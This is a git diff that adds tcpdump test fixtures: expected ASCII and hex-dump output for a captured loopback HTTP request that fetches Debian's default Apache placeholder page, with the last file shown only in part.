diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/pppoe.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/pppoe.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..3296174cd63eadd0926e0d7e8151b259ed6c93bd
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/pppoe.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/print-A.out b/peasoup_examples/tests/tcpdump/tcpd_tests/print-A.out
new file mode 100644
index 0000000000000000000000000000000000000000..742a41d40ab3f3610ca76597f80af1bfc4e58b8c
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/print-A.out
@@ -0,0 +1,193 @@
+22:57:35.938066 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [S], seq 928549246, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 0,nop,wscale 2], length 0
+E..<.h@.@.!R.........p.P7X.~.........!....@....
+M...........
+22:57:35.938122 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [S.], seq 930778609, ack 928549247, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 1306300950,nop,wscale 2], length 0
+E..<..@.@.<..........P.p7z..7X......n.....@....
+M...M.......
+22:57:35.938167 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 1, win 8192, options [nop,nop,TS val 1306300950 ecr 1306300950], length 0
+E..4.j@.@.!X.........p.P7X..7z.... .7......
+M...M...
+22:57:35.939423 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [P.], seq 1:203, ack 1, win 8192, options [nop,nop,TS val 1306300951 ecr 1306300950], length 202
+E....l@.@. ..........p.P7X..7z.... ........
+M...M...GET / HTTP/1.1
+Host: localhost
+User-Agent: ELinks/0.10.4-7-debian (textmode; Linux 2.6.11-1-686-smp i686; 132x56-2)
+Accept: */*
+Accept-Encoding: gzip
+Accept-Language: en
+Connection: Keep-Alive
+
+
+22:57:35.940474 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [.], ack 203, win 8192, options [nop,nop,TS val 1306300952 ecr 1306300951], length 0
+E..4..@.@............P.p7z..7X.I.. .7......
+M...M...
+22:57:35.941232 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [P.], seq 1:5560, ack 203, win 8192, options [nop,nop,TS val 1306300953 ecr 1306300951], length 5559
+E.....@.@..%.........P.p7z..7X.I.. ........
+M...M...HTTP/1.1 200 OK
+Date: Wed, 06 Jul 2005 03:57:35 GMT
+Server: Apache/1.3.33
+Last-Modified: Sun, 15 Aug 2004 00:43:41 GMT
+ETag: "6e80f0-148a-411eb1bd"
+Accept-Ranges: bytes
+Content-Length: 5258
+Keep-Alive: timeout=15, max=100
+Connection: Keep-Alive
+Content-Type: text/html; charset=iso-8859-1
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<HTML>
+<HEAD>
+   <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
+   <META NAME="Description" CONTENT="The initial installation of Debian apache.">
+   <TITLE>Placeholder page</TITLE>
+</HEAD>
+<BODY TEXT="#000000" BGCOLOR="#FFFFFF" LINK="#0000EF" VLINK="#55188A" ALINK="#FF0000">
+
+<H1>Placeholder page</H1>
+<H2>If you are just browsing the web</h2>
+
+<P>The owner of this web site has not put up any web pages yet.
+Please come back later.</P>
+
+<P><SMALL><CITE>Move along, nothing to see here...</CITE> :-)</SMALL></P>
+
+<H2>If you are trying to locate the administrator of this machine</H2>
+
+<P>If you want to report something about this host's behavior, please
+contact the Internet Service Provider (ISP) involved directly.</P>
+
+<P>See the <A href="http://www.abuse.net/">Network Abuse
+Clearinghouse</A> for how to do this.</P>
+
+<H2>If you are the administrator of this machine</H2>
+
+<P>The initial installation of <A href="http://www.debian.org/">Debian's
+apache</A> web server package was successful.</P>
+
+<P><STRONG>You should replace this page with your own web pages as
+soon as possible.</STRONG></P>
+
+<P>Unless you changed its configuration, your new server is configured as follows:
+<UL>
+<LI>
+Configuration files can be found in <TT>/etc/apache</TT>.</LI>
+
+<LI>
+The <TT>DocumentRoot</TT>, which is the directory under which all your
+HTML files should exist, is set to <TT>/var/www</TT>.</LI>
+
+<LI>
+CGI scripts are looked for in <TT>/usr/lib/cgi-bin</TT>, which is where
+Debian packages will place their scripts.</LI>
+
+<LI>
+Log files are placed in <TT>/var/log/apache</TT>, and will be rotated
+weekly.  The frequency of rotation can be easily changed by editing
+<TT>/etc/logrotate.d/apache</TT>.</LI>
+
+<LI>
+The default directory index is <TT>index.html</TT>, meaning that requests
+for a directory <TT>/foo/bar/</TT> will give the contents of the file <TT>/var/www/foo/bar/index.html</TT>
+if it exists (assuming that <TT>/var/www</TT> is your <TT>DocumentRoot</TT>).</LI>
+
+<LI>
+User directories are enabled, and user documents will be looked for
+in the <TT>public_html</TT> directory of the users' homes.  These dirs
+should be under <TT>/home</TT>, and users will not be able to symlink
+to files they don't own.</LI>
+
+</UL>
+All the standard apache modules are available with this release and are
+now managed with debconf.  Type <TT>dpkg-reconfigure apache</TT> to
+select which modules you want enabled.  Many other modules are available
+through the Debian package system with the names <TT>libapache-mod-*</TT>.
+If you need to compile a module yourself, you will need to install the
+<TT>apache-dev</TT> package.
+
+<P>More documentation on Apache can be found on:
+<UL>
+<LI>
+The <A HREF="/doc/apache-doc/manual/">Apache documentation</A> stored on your server.</LI>
+
+<LI>
+The <A HREF="http://www.apache.org/">Apache Project</A> home site.</LI>
+
+<LI>
+The <A HREF="http://www.apache-ssl.org/">Apache-SSL</A> home site.</LI>
+
+<LI>
+The <A HREF="http://perl.apache.org/">mod perl</A> home site.</LI>
+
+<LI>
+The <A HREF="http://www.apacheweek.com/">ApacheWeek</A> newsletter.</LI>
+
+<LI>
+The <A HREF="http://www.debian.org/doc/">Debian Project
+Documentation</A> which contains HOWTOs, FAQs, and software updates.</LI>
+</UL>
+
+<P>You can also consult the list of <A HREF="http://www.boutell.com/faq/">World
+Wide Web Frequently Asked Questions</A> for information.
+
+<H2>Let other people know about this server</H2>
+
+<A HREF="http://netcraft.com/">Netcraft</A> provides an interesting free
+service for web site monitoring and statistic collection.
+You can let them know about your server using their
+<A HREF="http://uptime.netcraft.com/">interface</A>.
+Enabling the monitoring of your server will provide a better global overview
+of who is using what and where, and it would give Debian a better
+overview of the apache package usage.
+
+<H2>About this page</H2>
+
+<IMG ALIGN="right" ALT="" HEIGHT="247" WIDTH="278" SRC="icons/jhe061.png">
+
+<P>This is a placeholder page installed by the <A
+HREF="http://www.debian.org/">Debian</A>
+release of the apache Web server package.
+
+<P>This computer has installed the Debian GNU/Linux operating system,
+but it has <strong>nothing to do with the Debian
+Project</strong>. Please do <strong>not</strong> contact the Debian
+Project about it.</P>
+
+<P>If you find a bug in this apache package, or in Apache itself,
+please file a bug report on it.  Instructions on doing this, and the
+list of <A HREF="http://bugs.debian.org/src:apache">known bugs</A> of this
+package, can be found in the 
+<A HREF="http://www.debian.org/Bugs/Reporting">Debian Bug Tracking System</A>.
+
+<P>Thanks for using this package, and congratulations for your choice of
+a Debian system!</P>
+
+<DIV align="center">
+<a href="http://www.debian.org/">
+<IMG align="middle" height="30" width="25" src="icons/debian/openlogo-25.jpg" alt="Debian">
+</a>
+<a href="http://www.apache.org/">
+<IMG align="middle" height="32" width="259" src="icons/apache_pb.png" alt="Apache">
+</a>
+</DIV>
+
+<!--
+  This page was initially created by Johnie Ingram (http://netgod.net/)
+  It was later edited by Matthew Wilcox and Josip Rodin.
+  Last modified: $Date: 2004/06/20 15:33:57 $.
+  -->
+
+</BODY>
+</HTML>
+
+22:57:35.941260 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5560, win 12383, options [nop,nop,TS val 1306300953 ecr 1306300953], length 0
+E..4.n@.@.!T.........p.P7X.I7z....0_.......
+M...M...
+22:57:37.229575 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [F.], seq 203, ack 5560, win 12383, options [nop,nop,TS val 1306302241 ecr 1306300953], length 0
+E..4.p@.@.!R.........p.P7X.I7z....0_.......
+M..!M...
+22:57:37.230839 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [F.], seq 5560, ack 204, win 8192, options [nop,nop,TS val 1306302243 ecr 1306302241], length 0
+E..4..@.@............P.p7z..7X.J.. ..5.....
+M..#M..!
+22:57:37.230900 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5561, win 12383, options [nop,nop,TS val 1306302243 ecr 1306302243], length 0
+E..4.r@.@.!P.........p.P7X.J7z....0_.......
+M..#M..#
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/print-AA.out b/peasoup_examples/tests/tcpdump/tcpd_tests/print-AA.out
new file mode 100644
index 0000000000000000000000000000000000000000..13440504c44f3d4efbaf474b87d20d2c0ad1ec09
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/print-AA.out
@@ -0,0 +1,193 @@
+22:57:35.938066 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [S], seq 928549246, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 0,nop,wscale 2], length 0
+..............E..<.h@.@.!R.........p.P7X.~.........!....@....
+M...........
+22:57:35.938122 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [S.], seq 930778609, ack 928549247, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 1306300950,nop,wscale 2], length 0
+..............E..<..@.@.<..........P.p7z..7X......n.....@....
+M...M.......
+22:57:35.938167 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 1, win 8192, options [nop,nop,TS val 1306300950 ecr 1306300950], length 0
+..............E..4.j@.@.!X.........p.P7X..7z.... .7......
+M...M...
+22:57:35.939423 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [P.], seq 1:203, ack 1, win 8192, options [nop,nop,TS val 1306300951 ecr 1306300950], length 202
+..............E....l@.@. ..........p.P7X..7z.... ........
+M...M...GET / HTTP/1.1
+Host: localhost
+User-Agent: ELinks/0.10.4-7-debian (textmode; Linux 2.6.11-1-686-smp i686; 132x56-2)
+Accept: */*
+Accept-Encoding: gzip
+Accept-Language: en
+Connection: Keep-Alive
+
+
+22:57:35.940474 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [.], ack 203, win 8192, options [nop,nop,TS val 1306300952 ecr 1306300951], length 0
+..............E..4..@.@............P.p7z..7X.I.. .7......
+M...M...
+22:57:35.941232 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [P.], seq 1:5560, ack 203, win 8192, options [nop,nop,TS val 1306300953 ecr 1306300951], length 5559
+..............E.....@.@..%.........P.p7z..7X.I.. ........
+M...M...HTTP/1.1 200 OK
+Date: Wed, 06 Jul 2005 03:57:35 GMT
+Server: Apache/1.3.33
+Last-Modified: Sun, 15 Aug 2004 00:43:41 GMT
+ETag: "6e80f0-148a-411eb1bd"
+Accept-Ranges: bytes
+Content-Length: 5258
+Keep-Alive: timeout=15, max=100
+Connection: Keep-Alive
+Content-Type: text/html; charset=iso-8859-1
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<HTML>
+<HEAD>
+   <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
+   <META NAME="Description" CONTENT="The initial installation of Debian apache.">
+   <TITLE>Placeholder page</TITLE>
+</HEAD>
+<BODY TEXT="#000000" BGCOLOR="#FFFFFF" LINK="#0000EF" VLINK="#55188A" ALINK="#FF0000">
+
+<H1>Placeholder page</H1>
+<H2>If you are just browsing the web</h2>
+
+<P>The owner of this web site has not put up any web pages yet.
+Please come back later.</P>
+
+<P><SMALL><CITE>Move along, nothing to see here...</CITE> :-)</SMALL></P>
+
+<H2>If you are trying to locate the administrator of this machine</H2>
+
+<P>If you want to report something about this host's behavior, please
+contact the Internet Service Provider (ISP) involved directly.</P>
+
+<P>See the <A href="http://www.abuse.net/">Network Abuse
+Clearinghouse</A> for how to do this.</P>
+
+<H2>If you are the administrator of this machine</H2>
+
+<P>The initial installation of <A href="http://www.debian.org/">Debian's
+apache</A> web server package was successful.</P>
+
+<P><STRONG>You should replace this page with your own web pages as
+soon as possible.</STRONG></P>
+
+<P>Unless you changed its configuration, your new server is configured as follows:
+<UL>
+<LI>
+Configuration files can be found in <TT>/etc/apache</TT>.</LI>
+
+<LI>
+The <TT>DocumentRoot</TT>, which is the directory under which all your
+HTML files should exist, is set to <TT>/var/www</TT>.</LI>
+
+<LI>
+CGI scripts are looked for in <TT>/usr/lib/cgi-bin</TT>, which is where
+Debian packages will place their scripts.</LI>
+
+<LI>
+Log files are placed in <TT>/var/log/apache</TT>, and will be rotated
+weekly.  The frequency of rotation can be easily changed by editing
+<TT>/etc/logrotate.d/apache</TT>.</LI>
+
+<LI>
+The default directory index is <TT>index.html</TT>, meaning that requests
+for a directory <TT>/foo/bar/</TT> will give the contents of the file <TT>/var/www/foo/bar/index.html</TT>
+if it exists (assuming that <TT>/var/www</TT> is your <TT>DocumentRoot</TT>).</LI>
+
+<LI>
+User directories are enabled, and user documents will be looked for
+in the <TT>public_html</TT> directory of the users' homes.  These dirs
+should be under <TT>/home</TT>, and users will not be able to symlink
+to files they don't own.</LI>
+
+</UL>
+All the standard apache modules are available with this release and are
+now managed with debconf.  Type <TT>dpkg-reconfigure apache</TT> to
+select which modules you want enabled.  Many other modules are available
+through the Debian package system with the names <TT>libapache-mod-*</TT>.
+If you need to compile a module yourself, you will need to install the
+<TT>apache-dev</TT> package.
+
+<P>More documentation on Apache can be found on:
+<UL>
+<LI>
+The <A HREF="/doc/apache-doc/manual/">Apache documentation</A> stored on your server.</LI>
+
+<LI>
+The <A HREF="http://www.apache.org/">Apache Project</A> home site.</LI>
+
+<LI>
+The <A HREF="http://www.apache-ssl.org/">Apache-SSL</A> home site.</LI>
+
+<LI>
+The <A HREF="http://perl.apache.org/">mod perl</A> home site.</LI>
+
+<LI>
+The <A HREF="http://www.apacheweek.com/">ApacheWeek</A> newsletter.</LI>
+
+<LI>
+The <A HREF="http://www.debian.org/doc/">Debian Project
+Documentation</A> which contains HOWTOs, FAQs, and software updates.</LI>
+</UL>
+
+<P>You can also consult the list of <A HREF="http://www.boutell.com/faq/">World
+Wide Web Frequently Asked Questions</A> for information.
+
+<H2>Let other people know about this server</H2>
+
+<A HREF="http://netcraft.com/">Netcraft</A> provides an interesting free
+service for web site monitoring and statistic collection.
+You can let them know about your server using their
+<A HREF="http://uptime.netcraft.com/">interface</A>.
+Enabling the monitoring of your server will provide a better global overview
+of who is using what and where, and it would give Debian a better
+overview of the apache package usage.
+
+<H2>About this page</H2>
+
+<IMG ALIGN="right" ALT="" HEIGHT="247" WIDTH="278" SRC="icons/jhe061.png">
+
+<P>This is a placeholder page installed by the <A
+HREF="http://www.debian.org/">Debian</A>
+release of the apache Web server package.
+
+<P>This computer has installed the Debian GNU/Linux operating system,
+but it has <strong>nothing to do with the Debian
+Project</strong>. Please do <strong>not</strong> contact the Debian
+Project about it.</P>
+
+<P>If you find a bug in this apache package, or in Apache itself,
+please file a bug report on it.  Instructions on doing this, and the
+list of <A HREF="http://bugs.debian.org/src:apache">known bugs</A> of this
+package, can be found in the 
+<A HREF="http://www.debian.org/Bugs/Reporting">Debian Bug Tracking System</A>.
+
+<P>Thanks for using this package, and congratulations for your choice of
+a Debian system!</P>
+
+<DIV align="center">
+<a href="http://www.debian.org/">
+<IMG align="middle" height="30" width="25" src="icons/debian/openlogo-25.jpg" alt="Debian">
+</a>
+<a href="http://www.apache.org/">
+<IMG align="middle" height="32" width="259" src="icons/apache_pb.png" alt="Apache">
+</a>
+</DIV>
+
+<!--
+  This page was initially created by Johnie Ingram (http://netgod.net/)
+  It was later edited by Matthew Wilcox and Josip Rodin.
+  Last modified: $Date: 2004/06/20 15:33:57 $.
+  -->
+
+</BODY>
+</HTML>
+
+22:57:35.941260 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5560, win 12383, options [nop,nop,TS val 1306300953 ecr 1306300953], length 0
+..............E..4.n@.@.!T.........p.P7X.I7z....0_.......
+M...M...
+22:57:37.229575 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [F.], seq 203, ack 5560, win 12383, options [nop,nop,TS val 1306302241 ecr 1306300953], length 0
+..............E..4.p@.@.!R.........p.P7X.I7z....0_.......
+M..!M...
+22:57:37.230839 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [F.], seq 5560, ack 204, win 8192, options [nop,nop,TS val 1306302243 ecr 1306302241], length 0
+..............E..4..@.@............P.p7z..7X.J.. ..5.....
+M..#M..!
+22:57:37.230900 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5561, win 12383, options [nop,nop,TS val 1306302243 ecr 1306302243], length 0
+..............E..4.r@.@.!P.........p.P7X.J7z....0_.......
+M..#M..#
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/print-capX.out b/peasoup_examples/tests/tcpdump/tcpd_tests/print-capX.out
new file mode 100644
index 0000000000000000000000000000000000000000..f95a9e96033fbaca52130b842ea6f673b8289b3e
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/print-capX.out
@@ -0,0 +1,409 @@
+22:57:35.938066 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [S], seq 928549246, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 0,nop,wscale 2], length 0
+	0x0000:  4500 003c 1b68 4000 4006 2152 7f00 0001  E..<.h@.@.!R....
+	0x0010:  7f00 0001 da70 0050 3758 897e 0000 0000  .....p.P7X.~....
+	0x0020:  a002 7fff 1421 0000 0204 400c 0402 080a  .....!....@.....
+	0x0030:  4ddc 9216 0000 0000 0103 0302            M...........
+22:57:35.938122 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [S.], seq 930778609, ack 928549247, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 1306300950,nop,wscale 2], length 0
+	0x0000:  4500 003c 0000 4000 4006 3cba 7f00 0001  E..<..@.@.<.....
+	0x0010:  7f00 0001 0050 da70 377a 8df1 3758 897f  .....P.p7z..7X..
+	0x0020:  a012 7fff 6eb1 0000 0204 400c 0402 080a  ....n.....@.....
+	0x0030:  4ddc 9216 4ddc 9216 0103 0302            M...M.......
+22:57:35.938167 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 1, win 8192, options [nop,nop,TS val 1306300950 ecr 1306300950], length 0
+	0x0000:  4500 0034 1b6a 4000 4006 2158 7f00 0001  E..4.j@.@.!X....
+	0x0010:  7f00 0001 da70 0050 3758 897f 377a 8df2  .....p.P7X..7z..
+	0x0020:  8010 2000 37d0 0000 0101 080a 4ddc 9216  ....7.......M...
+	0x0030:  4ddc 9216                                M...
+22:57:35.939423 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [P.], seq 1:203, ack 1, win 8192, options [nop,nop,TS val 1306300951 ecr 1306300950], length 202
+	0x0000:  4500 00fe 1b6c 4000 4006 208c 7f00 0001  E....l@.@.......
+	0x0010:  7f00 0001 da70 0050 3758 897f 377a 8df2  .....p.P7X..7z..
+	0x0020:  8018 2000 fef2 0000 0101 080a 4ddc 9217  ............M...
+	0x0030:  4ddc 9216 4745 5420 2f20 4854 5450 2f31  M...GET./.HTTP/1
+	0x0040:  2e31 0d0a 486f 7374 3a20 6c6f 6361 6c68  .1..Host:.localh
+	0x0050:  6f73 740d 0a55 7365 722d 4167 656e 743a  ost..User-Agent:
+	0x0060:  2045 4c69 6e6b 732f 302e 3130 2e34 2d37  .ELinks/0.10.4-7
+	0x0070:  2d64 6562 6961 6e20 2874 6578 746d 6f64  -debian.(textmod
+	0x0080:  653b 204c 696e 7578 2032 2e36 2e31 312d  e;.Linux.2.6.11-
+	0x0090:  312d 3638 362d 736d 7020 6936 3836 3b20  1-686-smp.i686;.
+	0x00a0:  3133 3278 3536 2d32 290d 0a41 6363 6570  132x56-2)..Accep
+	0x00b0:  743a 202a 2f2a 0d0a 4163 6365 7074 2d45  t:.*/*..Accept-E
+	0x00c0:  6e63 6f64 696e 673a 2067 7a69 700d 0a41  ncoding:.gzip..A
+	0x00d0:  6363 6570 742d 4c61 6e67 7561 6765 3a20  ccept-Language:.
+	0x00e0:  656e 0d0a 436f 6e6e 6563 7469 6f6e 3a20  en..Connection:.
+	0x00f0:  4b65 6570 2d41 6c69 7665 0d0a 0d0a       Keep-Alive....
+22:57:35.940474 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [.], ack 203, win 8192, options [nop,nop,TS val 1306300952 ecr 1306300951], length 0
+	0x0000:  4500 0034 1fe4 4000 4006 1cde 7f00 0001  E..4..@.@.......
+	0x0010:  7f00 0001 0050 da70 377a 8df2 3758 8a49  .....P.p7z..7X.I
+	0x0020:  8010 2000 3703 0000 0101 080a 4ddc 9218  ....7.......M...
+	0x0030:  4ddc 9217                                M...
+22:57:35.941232 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [P.], seq 1:5560, ack 203, win 8192, options [nop,nop,TS val 1306300953 ecr 1306300951], length 5559
+	0x0000:  4500 15eb 1fe6 4000 4006 0725 7f00 0001  E.....@.@..%....
+	0x0010:  7f00 0001 0050 da70 377a 8df2 3758 8a49  .....P.p7z..7X.I
+	0x0020:  8018 2000 13e0 0000 0101 080a 4ddc 9219  ............M...
+	0x0030:  4ddc 9217 4854 5450 2f31 2e31 2032 3030  M...HTTP/1.1.200
+	0x0040:  204f 4b0d 0a44 6174 653a 2057 6564 2c20  .OK..Date:.Wed,.
+	0x0050:  3036 204a 756c 2032 3030 3520 3033 3a35  06.Jul.2005.03:5
+	0x0060:  373a 3335 2047 4d54 0d0a 5365 7276 6572  7:35.GMT..Server
+	0x0070:  3a20 4170 6163 6865 2f31 2e33 2e33 330d  :.Apache/1.3.33.
+	0x0080:  0a4c 6173 742d 4d6f 6469 6669 6564 3a20  .Last-Modified:.
+	0x0090:  5375 6e2c 2031 3520 4175 6720 3230 3034  Sun,.15.Aug.2004
+	0x00a0:  2030 303a 3433 3a34 3120 474d 540d 0a45  .00:43:41.GMT..E
+	0x00b0:  5461 673a 2022 3665 3830 6630 2d31 3438  Tag:."6e80f0-148
+	0x00c0:  612d 3431 3165 6231 6264 220d 0a41 6363  a-411eb1bd"..Acc
+	0x00d0:  6570 742d 5261 6e67 6573 3a20 6279 7465  ept-Ranges:.byte
+	0x00e0:  730d 0a43 6f6e 7465 6e74 2d4c 656e 6774  s..Content-Lengt
+	0x00f0:  683a 2035 3235 380d 0a4b 6565 702d 416c  h:.5258..Keep-Al
+	0x0100:  6976 653a 2074 696d 656f 7574 3d31 352c  ive:.timeout=15,
+	0x0110:  206d 6178 3d31 3030 0d0a 436f 6e6e 6563  .max=100..Connec
+	0x0120:  7469 6f6e 3a20 4b65 6570 2d41 6c69 7665  tion:.Keep-Alive
+	0x0130:  0d0a 436f 6e74 656e 742d 5479 7065 3a20  ..Content-Type:.
+	0x0140:  7465 7874 2f68 746d 6c3b 2063 6861 7273  text/html;.chars
+	0x0150:  6574 3d69 736f 2d38 3835 392d 310d 0a0d  et=iso-8859-1...
+	0x0160:  0a3c 2144 4f43 5459 5045 2048 544d 4c20  .<!DOCTYPE.HTML.
+	0x0170:  5055 424c 4943 2022 2d2f 2f57 3343 2f2f  PUBLIC."-//W3C//
+	0x0180:  4454 4420 4854 4d4c 2034 2e30 3120 5472  DTD.HTML.4.01.Tr
+	0x0190:  616e 7369 7469 6f6e 616c 2f2f 454e 223e  ansitional//EN">
+	0x01a0:  0a3c 4854 4d4c 3e0a 3c48 4541 443e 0a20  .<HTML>.<HEAD>..
+	0x01b0:  2020 3c4d 4554 4120 4854 5450 2d45 5155  ..<META.HTTP-EQU
+	0x01c0:  4956 3d22 436f 6e74 656e 742d 5479 7065  IV="Content-Type
+	0x01d0:  2220 434f 4e54 454e 543d 2274 6578 742f  ".CONTENT="text/
+	0x01e0:  6874 6d6c 3b20 6368 6172 7365 743d 6973  html;.charset=is
+	0x01f0:  6f2d 3838 3539 2d31 223e 0a20 2020 3c4d  o-8859-1">....<M
+	0x0200:  4554 4120 4e41 4d45 3d22 4465 7363 7269  ETA.NAME="Descri
+	0x0210:  7074 696f 6e22 2043 4f4e 5445 4e54 3d22  ption".CONTENT="
+	0x0220:  5468 6520 696e 6974 6961 6c20 696e 7374  The.initial.inst
+	0x0230:  616c 6c61 7469 6f6e 206f 6620 4465 6269  allation.of.Debi
+	0x0240:  616e 2061 7061 6368 652e 223e 0a20 2020  an.apache.">....
+	0x0250:  3c54 4954 4c45 3e50 6c61 6365 686f 6c64  <TITLE>Placehold
+	0x0260:  6572 2070 6167 653c 2f54 4954 4c45 3e0a  er.page</TITLE>.
+	0x0270:  3c2f 4845 4144 3e0a 3c42 4f44 5920 5445  </HEAD>.<BODY.TE
+	0x0280:  5854 3d22 2330 3030 3030 3022 2042 4743  XT="#000000".BGC
+	0x0290:  4f4c 4f52 3d22 2346 4646 4646 4622 204c  OLOR="#FFFFFF".L
+	0x02a0:  494e 4b3d 2223 3030 3030 4546 2220 564c  INK="#0000EF".VL
+	0x02b0:  494e 4b3d 2223 3535 3138 3841 2220 414c  INK="#55188A".AL
+	0x02c0:  494e 4b3d 2223 4646 3030 3030 223e 0a0a  INK="#FF0000">..
+	0x02d0:  3c48 313e 506c 6163 6568 6f6c 6465 7220  <H1>Placeholder.
+	0x02e0:  7061 6765 3c2f 4831 3e0a 3c48 323e 4966  page</H1>.<H2>If
+	0x02f0:  2079 6f75 2061 7265 206a 7573 7420 6272  .you.are.just.br
+	0x0300:  6f77 7369 6e67 2074 6865 2077 6562 3c2f  owsing.the.web</
+	0x0310:  6832 3e0a 0a3c 503e 5468 6520 6f77 6e65  h2>..<P>The.owne
+	0x0320:  7220 6f66 2074 6869 7320 7765 6220 7369  r.of.this.web.si
+	0x0330:  7465 2068 6173 206e 6f74 2070 7574 2075  te.has.not.put.u
+	0x0340:  7020 616e 7920 7765 6220 7061 6765 7320  p.any.web.pages.
+	0x0350:  7965 742e 0a50 6c65 6173 6520 636f 6d65  yet..Please.come
+	0x0360:  2062 6163 6b20 6c61 7465 722e 3c2f 503e  .back.later.</P>
+	0x0370:  0a0a 3c50 3e3c 534d 414c 4c3e 3c43 4954  ..<P><SMALL><CIT
+	0x0380:  453e 4d6f 7665 2061 6c6f 6e67 2c20 6e6f  E>Move.along,.no
+	0x0390:  7468 696e 6720 746f 2073 6565 2068 6572  thing.to.see.her
+	0x03a0:  652e 2e2e 3c2f 4349 5445 3e20 3a2d 293c  e...</CITE>.:-)<
+	0x03b0:  2f53 4d41 4c4c 3e3c 2f50 3e0a 0a3c 4832  /SMALL></P>..<H2
+	0x03c0:  3e49 6620 796f 7520 6172 6520 7472 7969  >If.you.are.tryi
+	0x03d0:  6e67 2074 6f20 6c6f 6361 7465 2074 6865  ng.to.locate.the
+	0x03e0:  2061 646d 696e 6973 7472 6174 6f72 206f  .administrator.o
+	0x03f0:  6620 7468 6973 206d 6163 6869 6e65 3c2f  f.this.machine</
+	0x0400:  4832 3e0a 0a3c 503e 4966 2079 6f75 2077  H2>..<P>If.you.w
+	0x0410:  616e 7420 746f 2072 6570 6f72 7420 736f  ant.to.report.so
+	0x0420:  6d65 7468 696e 6720 6162 6f75 7420 7468  mething.about.th
+	0x0430:  6973 2068 6f73 7427 7320 6265 6861 7669  is.host's.behavi
+	0x0440:  6f72 2c20 706c 6561 7365 0a63 6f6e 7461  or,.please.conta
+	0x0450:  6374 2074 6865 2049 6e74 6572 6e65 7420  ct.the.Internet.
+	0x0460:  5365 7276 6963 6520 5072 6f76 6964 6572  Service.Provider
+	0x0470:  2028 4953 5029 2069 6e76 6f6c 7665 6420  .(ISP).involved.
+	0x0480:  6469 7265 6374 6c79 2e3c 2f50 3e0a 0a3c  directly.</P>..<
+	0x0490:  503e 5365 6520 7468 6520 3c41 2068 7265  P>See.the.<A.hre
+	0x04a0:  663d 2268 7474 703a 2f2f 7777 772e 6162  f="http://www.ab
+	0x04b0:  7573 652e 6e65 742f 223e 4e65 7477 6f72  use.net/">Networ
+	0x04c0:  6b20 4162 7573 650a 436c 6561 7269 6e67  k.Abuse.Clearing
+	0x04d0:  686f 7573 653c 2f41 3e20 666f 7220 686f  house</A>.for.ho
+	0x04e0:  7720 746f 2064 6f20 7468 6973 2e3c 2f50  w.to.do.this.</P
+	0x04f0:  3e0a 0a3c 4832 3e49 6620 796f 7520 6172  >..<H2>If.you.ar
+	0x0500:  6520 7468 6520 6164 6d69 6e69 7374 7261  e.the.administra
+	0x0510:  746f 7220 6f66 2074 6869 7320 6d61 6368  tor.of.this.mach
+	0x0520:  696e 653c 2f48 323e 0a0a 3c50 3e54 6865  ine</H2>..<P>The
+	0x0530:  2069 6e69 7469 616c 2069 6e73 7461 6c6c  .initial.install
+	0x0540:  6174 696f 6e20 6f66 203c 4120 6872 6566  ation.of.<A.href
+	0x0550:  3d22 6874 7470 3a2f 2f77 7777 2e64 6562  ="http://www.deb
+	0x0560:  6961 6e2e 6f72 672f 223e 4465 6269 616e  ian.org/">Debian
+	0x0570:  2773 0a61 7061 6368 653c 2f41 3e20 7765  's.apache</A>.we
+	0x0580:  6220 7365 7276 6572 2070 6163 6b61 6765  b.server.package
+	0x0590:  2077 6173 2073 7563 6365 7373 6675 6c2e  .was.successful.
+	0x05a0:  3c2f 503e 0a0a 3c50 3e3c 5354 524f 4e47  </P>..<P><STRONG
+	0x05b0:  3e59 6f75 2073 686f 756c 6420 7265 706c  >You.should.repl
+	0x05c0:  6163 6520 7468 6973 2070 6167 6520 7769  ace.this.page.wi
+	0x05d0:  7468 2079 6f75 7220 6f77 6e20 7765 6220  th.your.own.web.
